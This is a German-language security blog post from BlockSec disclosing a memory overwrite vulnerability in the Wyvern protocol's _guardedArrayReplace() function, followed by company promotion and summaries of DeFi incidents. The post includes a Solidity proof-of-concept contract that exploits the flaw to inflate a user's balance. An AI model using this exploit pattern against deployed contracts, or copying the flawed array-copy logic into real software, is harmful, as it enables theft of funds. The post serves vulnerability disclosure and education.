Back to Blog

Neue Schwachstelle zum Überschreiben von Speicher im Wyvern-Protokoll entdeckt

Code Auditing
September 8, 2022
7 min read

Einleitung

Unser System zur Schwachstellenerkennung hat eine Speicherüberschreibungsschwachstelle in der neuesten Implementierung der Wyvern-Bibliothek gefunden. Diese gehört zum Wyvern-Protokoll für dezentrale Börsen, das zuvor von OpenSea verwendet wurde. Dieser Fehler kann zu beliebigen Speicherbeschreibungen führen.

Wir haben versucht, das Projekt zu kontaktieren (z. B. per E-Mail und über soziale Medien), haben jedoch noch keine Antwort erhalten. Da OpenSea zum Seaport-Protokoll migriert ist, sind wir der Meinung, dass es sicher ist, die detaillierten Informationen öffentlich zu machen. Darüber hinaus möchten wir diese Ergebnisse teilen, um die Community einzubinden, da der Fehler selbst etwas knifflig ist und die Ausnutzung ziemlich interessant ist.

Beschreibung

Der anfällige Code ist im offiziellen Code-Repository mit dem Commit-Hash 4790c04604b8dc1bd5eb82e697d1cdc8c53d57a9 zu finden.

Genauer gesagt liegt dieser Fehler in der Funktion _guardedArrayReplace() von ArrayUtils.sol. Wie der Name schon sagt, wird diese Funktion verwendet, um ein Byte-Array mit dynamischer Größe (d. h. der zweite Parameter namens _desired) selektiv in ein anderes zu kopieren (d. h. der erste Parameter namens _array). Beachten Sie, dass diese Funktion für eine Wort-basierte (d. h. 0x20 Bytes) Operation implementiert ist, sodass die Code-Logik je nach Berechnungsergebnis der Division in zwei Schritte unterteilt werden kann.

Für den Quotienteil (d. h. words = array.length / 0x20) kopiert die Code-Logik von Zeile 42 bis Zeile 49 das gewünschte Array wortweise in das Zielarray. Dieser Schritt funktioniert wie erwartet, obwohl die assert-Anweisung in Zeile 39 aufgrund der Integer-Arithmetik nutzlos ist.

Nach dem vorherigen Schritt, wenn die Division einen Rest ergibt, bedeutet dies, dass noch einige Bytes übrig sind, die nicht korrekt kopiert wurden. Die Code-Logik von Zeile 52 bis Zeile 66 ist dafür ausgelegt, diese Bytes zu verarbeiten. Leider verwendet die if-Anweisung in Zeile 52 fälschlicherweise den Quotienten (words, d. h. array.length / 0x20) anstelle des Rests (array.length % 0x20), um die Prüfung durchzuführen.

Die Schwere

Dieser Fehler kann zu beliebigen Speicherbeschreibungen führen. Angenommen, array.length ist genau durch 0x20 teilbar, dann erfolgt die Kopiervorgang tatsächlich in der Schleifenlogik. In den meisten Fällen wird die Funktion jedoch die anfällige Logik betreten und versuchen, ein Wort hinter dem gewünschten Array in das Zielarray zu kopieren, was zwangsläufig zu einem außerhalb des gültigen Bereichs liegenden Zugriff führt. Schlimmer noch, die fehlerhafte Logik könnte ausgenutzt werden, um ein Wort am Ende des Zielarrays zu überschreiben, was ein unbekannter Speicherbereich ist, der für beliebige Zwecke genutzt werden kann.

Wie kann dieser Fehler ausgenutzt werden?

Wir haben einen PoC-Vertrag entwickelt, um den potenziellen Angriffsvektor zu veranschaulichen. Der PoC-Vertrag hat zwei Funktionen. Die erste mit dem Namen test() dient zur Durchführung des Angriffs, während die zweite einfach die anfällige Funktion guardedArrayReplace() ist.

Insbesondere definieren wir in der Funktion test() zunächst einige In-Memory-Bytes (a, b und mask) und ein Array (d. h. _rewards). Das hier definierte _rewards wird verwendet, um die Prämien des Benutzers zu berechnen. Nach dem Aufruf der Funktion guardedArrayReplace() zum Kopieren von a nach b mit mask wird _rewards zum Guthaben des Benutzers hinzugefügt (d. h. balances[msg.sender]).

<span id="f8d5" data-selectable-paragraph="">contract PoC {</span><span id="6c09" data-selectable-paragraph="">    mapping(address=&gt;uint) public balances;<br></span><span id="5b38" data-selectable-paragraph="">    event T(uint256,uint256,uint256);</span><span id="4fde" data-selectable-paragraph="">    function test() external {<br>        bytes memory a = abi.encode(keccak256("123"));<br>        bytes memory b = abi.encode(keccak256("456"));<br>        uint[] memory _rewards = new uint[](1);<br>        bytes memory mask = abi.encode(keccak256("123"));<br>        bytes memory d = abi.encode(keccak256("eee"));<br>        bytes memory d1 = abi.encode(keccak256("eee"));<br>        bytes memory d3 = abi.encode(keccak256("eee"));<br>        bytes memory d4 = abi.encode(keccak256("eee"));<br>        bytes memory d5 = abi.encode(keccak256("eee"));<br>        guardedArrayReplace(b, a, mask);</span><span id="19ec" data-selectable-paragraph="">        for(uint i = 0; i &lt; _rewards.length; i++){<br>            uint256 amt = _rewards[i];<br>            balances[msg.sender] += amt;<br>        }<br>    }</span><span id="9ed3" data-selectable-paragraph="">    function guardedArrayReplace(bytes memory array, bytes memory desired, bytes memory mask)<br>        internal<br>        pure<br>    {<br>        require(array.length == desired.length, "Arrays have different lengths");<br>        require(array.length == mask.length, "Array and mask have different lengths");</span><span id="f13c" data-selectable-paragraph="">        uint words = array.length / 0x20;<br>        uint index = words * 0x20;<br>        assert(index / 0x20 == words);<br>        uint i;</span><span id="85cd" data-selectable-paragraph="">        for (i = 0; i &lt; words; i++) {<br>            /* Conceptually: array[i] = (!mask[i] &amp;&amp; array[i]) || (mask[i] &amp;&amp; desired[i]), bitwise in word chunks. */<br>            assembly {<br>                let commonIndex := mul(0x20, add(1, i))<br>                let maskValue := mload(add(mask, commonIndex))<br>                mstore(add(array, commonIndex), or(and(not(maskValue), mload(add(array, commonIndex))), and(maskValue, mload(add(desired, commonIndex)))))<br>            }<br>        }</span><span id="69d7" data-selectable-paragraph="">        /* Deal with the last section of the byte array. */<br>        if (words &gt; 0) {<br>            /* This overlaps with bytes already set but is still more efficient than iterating through each of the remaining bytes individually. */<br>            i = words;<br>            assembly {<br>                let commonIndex := mul(0x20, add(1, i))<br>                let maskValue := mload(add(mask, commonIndex))<br>                mstore(add(array, commonIndex), or(<br>                    and(not(maskValue), <br>                    mload(<br>                        add(array, commonIndex))), and(maskValue, mload(add(desired, commonIndex))))<br>                )<br>            }<br>        } else {<br>            /* If the byte array is shorter than a word, we must unfortunately do the whole thing bytewise.<br>               (bounds checks could still probably be optimized away in assembly, but this is a rare case) */<br>            for (i = index; i &lt; array.length; i++) {<br>                array[i] = ((mask[i] ^ 0xff) &amp; array[i]) | (mask[i] &amp; desired[i]);<br>            }<br>        }<br>    }<br>}</span>

Hier verwenden wir Remix zur Demonstration des Ergebnisses. Es ist erwähnenswert, dass zunächst kein Wert für _rewards und balances zugewiesen wird. Nach der Ausnutzung wird das Guthaben des Benutzers auf einen extrem hohen Wert gesetzt (wie im roten Rechteck gezeigt).

Schlussfolgerung

Obwohl selten, können solche Speicherüberschreibungsschwachstellen immer noch in Smart Contracts vorkommen. Entwickler müssen auf die Code-Logik achten, die den Speicher manipuliert.

Über BlockSec

BlockSec ist ein wegweisendes Blockchain-Sicherheitsunternehmen, das 2021 von einer Gruppe weltweit angesehener Sicherheitsexperten gegründet wurde. Das Unternehmen engagiert sich für die Verbesserung der Sicherheit und Benutzerfreundlichkeit für die aufstrebende Web3-Welt, um deren Massenadoption zu fördern. Zu diesem Zweck bietet BlockSec Auditing-Dienste für Smart Contracts und EVM-Ketten, die Phalcon-Plattform für die sichere Entwicklung und proaktive Bedrohungsabwehr, die MetaSleuth-Plattform für die Nachverfolgung von Geldern und Ermittlungen sowie die MetaDock-Erweiterung für Web3-Entwickler an, um effizient in der Krypto-Welt zu surfen.

Bis heute hat das Unternehmen über 300 angesehene Kunden wie MetaMask, Uniswap Foundation, Compound, Forta und PancakeSwap betreut und in zwei Finanzierungsrunden von namhaften Investoren, darunter Matrix Partners, Vitalbridge Capital und Fenbushi Capital, zweistellige Millionenbeträge an US-Dollar erhalten.

Offizielle Website: https://blocksec.com/

Offizielles Twitter-Konto: https://twitter.com/BlockSecTeam

Sign up for the latest updates
~$15.9M Lost: Trusted Volumes & More | BlockSec Weekly
Security Insights

~$15.9M Lost: Trusted Volumes & More | BlockSec Weekly

This BlockSec bi-weekly security report covers 11 notable attack incidents identified between April 27 and May 10, 2026, across Sui, Ethereum, BNB Chain, Base, Blast, and Berachain, with total estimated losses of approximately $15.9M. Three incidents are analyzed in detail: the highlighted $1.14M Aftermath Finance exploit on Sui, where a signed/unsigned semantic mismatch in the builder-fee validation allowed an attacker to inject a negative fee that was converted into positive collateral during settlement; the $5.87M Trusted Volumes RFQ authorization mismatch on Ethereum; and the $5.7M Wasabi Protocol infrastructure-to-contract-control compromise across multiple EVM chains.

Newsletter - April 2026
Security Insights

Newsletter - April 2026

In April 2026, the DeFi ecosystem experienced three major security incidents. KelpDAO lost ~$290M due to an insecure 1-of-1 DVN bridge configuration exploited via RPC infrastructure compromise, Drift Protocol suffered ~$285M from a multisig governance takeover leveraging Solana's durable nonce mechanism, and Rhea Finance incurred ~$18.4M following a business logic flaw in its margin-trading module that allowed circular swap path manipulatio

~$7.04M Lost: GiddyDefi, Volo Vault & More | BlockSec Weekly
Security Insights

~$7.04M Lost: GiddyDefi, Volo Vault & More | BlockSec Weekly

This BlockSec weekly security report covers eight attack incidents detected between April 20 and April 26, 2026, across Ethereum, Avalanche, Sui, Base, HyperLiquid, and MegaETH, with total estimated losses of approximately $7.04M. The highlighted incident is the $1.3M GiddyDefi exploit, where the attacker did not break any cryptography or use a flash loan but simply replayed an existing on-chain EIP-712 signature with the unsigned `aggregator` and `fromToken` fields swapped out for a malicious contract, demonstrating how partial signature coverage turns any historical signature into a generic permit. Other incidents include a $3.5M Volo Vault operator key compromise on Sui, a $1.5M Purrlend privileged-role takeover, a $413K SingularityFinance oracle misconfiguration, a $142.7K Scallop cross-pool index injection, a $72.35K Kipseli Router decimal mismatch, a $50.7K REVLoans (Juicebox) accounting pollution, and a $64K Custom Rebalancer arbitrary-call exploit.

Best Security Auditor for Web3

Validate design, code, and business logic before launch. Aligned with the highest industry security standards.

BlockSec Audit